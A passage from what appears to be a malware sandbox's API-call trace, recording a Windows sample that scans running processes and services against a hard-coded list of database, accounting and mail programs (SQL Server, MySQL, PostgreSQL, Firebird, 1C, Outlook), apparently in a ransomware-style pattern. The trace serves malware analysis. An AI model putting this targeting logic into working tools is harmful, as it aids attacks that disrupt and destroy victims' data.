(lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0144.856] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0144.856] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0144.856] lstrlenW (lpString="Spooler") returned 7 [0144.856] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0144.856] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0144.856] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0144.856] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0144.856] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0144.856] lstrlenW (lpString="SysMain") returned 7 [0144.856] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0144.856] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0144.856] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0144.856] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0144.856] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0144.856] lstrlenW (lpString="Themes") returned 6 [0144.856] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0144.856] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0144.856] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0144.857] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0144.857] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0144.857] lstrlenW (lpString="TrkWks") returned 6 [0144.857] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0144.857] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0144.857] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0144.857] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0144.857] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0144.857] lstrlenW (lpString="UxSms") returned 5 [0144.857] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0144.857] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0144.857] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0144.857] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0144.857] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0144.857] lstrlenW (lpString="WdiServiceHost") returned 14 [0144.857] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0144.857] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0144.857] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0144.857] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0144.857] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0144.857] lstrlenW (lpString="Winmgmt") returned 7 [0144.857] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0144.857] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0144.857] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0144.857] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0144.858] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0144.858] lstrlenW (lpString="WPDBusEnum") returned 10 [0144.858] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WPDBusEnum") returned -1 [0144.858] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WPDBusEnum") returned -1 [0144.858] lstrcmpiW (lpString1="sqlwriter", lpString2="WPDBusEnum") returned -1 [0144.858] lstrcmpiW (lpString1="mssqlserver", lpString2="WPDBusEnum") returned -1 [0144.858] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WPDBusEnum") returned -1 [0144.858] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x41d9f00 | out: hHeap=0x300000) returned 1 [0144.858] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x338 [0144.861] Process32FirstW (in: hSnapshot=0x338, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0144.861] Process32NextW (in: hSnapshot=0x338, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x51, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0144.862] lstrlenW (lpString="System") returned 6 [0144.862] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0144.862] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0144.862] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0144.862] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0144.862] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0144.862] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0144.862] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0144.862] Process32NextW (in: hSnapshot=0x338, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0144.862] lstrlenW (lpString="smss.exe") returned 8 [0144.862] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0144.862] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0144.863] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0144.863] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0144.863] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0144.863] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0144.863] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0144.863] Process32NextW (in: hSnapshot=0x338, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0144.863] lstrlenW (lpString="csrss.exe") returned 9 [0144.863] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0144.863] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0144.863] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0144.863] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0144.863] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0144.863] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0144.863] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0144.863] Process32NextW (in: hSnapshot=0x338, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0144.864] lstrlenW (lpString="wininit.exe") returned 11 [0144.864] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0144.864] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0144.864] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0144.864] lstrcmpiW (lpString1="postgres.exe", lpString2="wininit.exe") returned -1 [0144.864] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="wininit.exe") returned -1 [0144.864] lstrcmpiW (lpString1="mysqld.exe", lpString2="wininit.exe") returned -1 [0144.864] lstrcmpiW (lpString1="sqlservr.exe", lpString2="wininit.exe") returned -1 [0144.864] Process32NextW (in: hSnapshot=0x338, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0144.865] lstrlenW (lpString="csrss.exe") returned 9 [0144.865] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0144.865] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0144.865] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0144.865] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0144.865] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0144.865] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0144.865] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0144.865] Process32NextW (in: hSnapshot=0x338, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0144.865] lstrlenW (lpString="winlogon.exe") returned 12 [0144.865] lstrcmpiW (lpString1="1c8.exe", lpString2="winlogon.exe") returned -1 [0144.865] lstrcmpiW (lpString1="1cv77.exe", lpString2="winlogon.exe") returned -1 [0144.865] lstrcmpiW (lpString1="outlook.exe", lpString2="winlogon.exe") returned -1 [0144.865] lstrcmpiW (lpString1="postgres.exe", lpString2="winlogon.exe") returned -1 [0144.865] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="winlogon.exe") returned -1 [0144.866] lstrcmpiW (lpString1="mysqld.exe", lpString2="winlogon.exe") returned -1 [0144.866] lstrcmpiW (lpString1="sqlservr.exe", lpString2="winlogon.exe") returned -1 [0144.866] Process32NextW (in: hSnapshot=0x338, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0144.866] lstrlenW (lpString="services.exe") returned 12 [0144.866] lstrcmpiW (lpString1="1c8.exe", lpString2="services.exe") returned -1 [0144.866] lstrcmpiW (lpString1="1cv77.exe", lpString2="services.exe") returned -1 [0144.866] Process32NextW (in: hSnapshot=0x338, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0144.867] lstrlenW (lpString="lsass.exe") returned 9 [0144.867] Process32NextW (in: hSnapshot=0x338, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0144.867] lstrlenW (lpString="lsm.exe") returned 7 [0144.867] Process32NextW (in: hSnapshot=0x338, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0144.868] lstrlenW (lpString="svchost.exe") returned 11 [0144.868] Process32NextW (in: hSnapshot=0x338, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0144.868] lstrlenW (lpString="svchost.exe") returned 11 [0144.868] Process32NextW (in: hSnapshot=0x338, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0144.869] lstrlenW (lpString="svchost.exe") returned 11 [0144.869] Process32NextW (in: hSnapshot=0x338, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0144.869] lstrlenW (lpString="svchost.exe") returned 11 [0144.869] Process32NextW (in: hSnapshot=0x338, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x28, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0144.870] lstrlenW (lpString="svchost.exe") returned 11 [0144.870] Process32NextW (in: hSnapshot=0x338, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0144.870] lstrlenW (lpString="audiodg.exe") returned 11 [0144.870] Process32NextW (in: hSnapshot=0x338, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0144.870] lstrlenW (lpString="svchost.exe") returned 11 [0144.870] Process32NextW (in: hSnapshot=0x338, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x174, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0144.871] lstrlenW (lpString="svchost.exe") returned 11 [0144.871] Process32NextW (in: hSnapshot=0x338, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x444, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0144.871] lstrlenW (lpString="spoolsv.exe") returned 11 [0144.871] Process32NextW (in: hSnapshot=0x338, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x468, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0144.872] lstrlenW (lpString="taskhost.exe") returned 12 [0144.872] Process32NextW (in: hSnapshot=0x338, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x498, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0144.872] lstrlenW (lpString="svchost.exe") returned 11 [0144.872] Process32NextW (in: hSnapshot=0x338, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x1ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="userinit.exe")) returned 1 [0144.873] lstrlenW (lpString="userinit.exe") returned 12 [0144.873] Process32NextW (in: hSnapshot=0x338, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0144.873] lstrlenW (lpString="dwm.exe") returned 7 [0144.873] Process32NextW (in: hSnapshot=0x338, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1f, th32ParentProcessID=0x4a0, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0144.874] lstrlenW (lpString="explorer.exe") returned 12 [0144.874] Process32NextW (in: hSnapshot=0x338, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x568, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x4b8, pcPriClassBase=8, dwFlags=0x0, szExeFile="3G6885.exe")) returned 1 [0144.874] lstrlenW (lpString="3G6885.exe") returned 10 [0144.874] Process32NextW (in: hSnapshot=0x338, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0144.874] lstrlenW (lpString="reader_sl.exe") returned 13 [0144.875] Process32NextW (in: hSnapshot=0x338, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x51c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="drvinst.exe")) returned 1 [0144.875] lstrlenW (lpString="drvinst.exe") returned 11 [0144.875] Process32NextW (in: hSnapshot=0x338, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x51c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="drvinst.exe")) returned 0 [0144.875] CloseHandle (hObject=0x338) returned 1 [0144.875] Sleep (dwMilliseconds=0x1f4) [0145.691] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x3af1cf0 [0145.694] EnumServicesStatusExW (in: hSCManager=0x3af1cf0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x21fff44, lpServicesReturned=0x21fff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x21fff44, lpServicesReturned=0x21fff5c, lpResumeHandle=0x0) returned 0 [0145.696] GetLastError () returned 0xea [0145.696] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x113e) returned 0x41d9f00 [0145.696] EnumServicesStatusExW (in: hSCManager=0x3af1cf0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x41d9f00, cbBufSize=0x113e, pcbBytesNeeded=0x21fff44, lpServicesReturned=0x21fff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x41d9f00, pcbBytesNeeded=0x21fff44, lpServicesReturned=0x21fff5c, lpResumeHandle=0x0) returned 1 [0145.697] CloseServiceHandle (hSCObject=0x3af1cf0) returned 1 [0145.697] lstrlenW (lpString="Appinfo") returned 7 [0145.697] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0145.697] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0145.698] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0145.698] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0145.698] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0145.698] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0145.698] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0145.698] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0145.698] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0145.698] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0145.698] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0145.698] lstrlenW (lpString="AudioSrv") returned 8 [0145.698] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0145.698] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0145.698] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0145.698] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0145.698] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0145.698] lstrlenW (lpString="BFE") returned 3 [0145.698] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0145.698] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0145.698] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0145.698] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0145.698] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0145.698] lstrlenW (lpString="CryptSvc") returned 8 [0145.698] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0145.698] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0145.698] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0145.698] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0145.698] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0145.698] lstrlenW (lpString="CscService") returned 10 [0145.699] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0145.699] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0145.699] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0145.699] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0145.699] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0145.699] lstrlenW (lpString="DcomLaunch") returned 10 [0145.699] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0145.699] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0145.699] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0145.699] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0145.699] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0145.699] lstrlenW (lpString="Dhcp") returned 4 [0145.699] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0145.699] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0145.699] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0145.699] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0145.699] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0145.699] lstrlenW (lpString="Dnscache") returned 8 [0145.699] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0145.699] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0145.699] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0145.699] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0145.699] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0145.699] lstrlenW (lpString="DPS") returned 3 [0145.699] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0145.699] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0145.699] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0145.699] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0145.699] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0145.699] lstrlenW (lpString="eventlog") returned 8 [0145.699] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0145.700] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0145.700] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0145.700] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0145.700] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0145.700] lstrlenW (lpString="EventSystem") returned 11 [0145.700] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0145.700] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0145.700] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0145.700] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0145.700] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0145.700] lstrlenW (lpString="gpsvc") returned 5 [0145.700] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0145.700] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0145.700] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0145.700] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0145.700] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0145.700] lstrlenW (lpString="iphlpsvc") returned 8 [0145.700] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0145.700] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0145.700] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0145.700] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0145.700] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0145.700] lstrlenW (lpString="LanmanServer") returned 12 [0145.700] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0145.700] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0145.700] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0145.700] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0145.700] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0145.700] lstrlenW (lpString="LanmanWorkstation") returned 17 [0145.700] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0145.700] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0145.700] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0145.701] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0145.701] lstrcmpiW 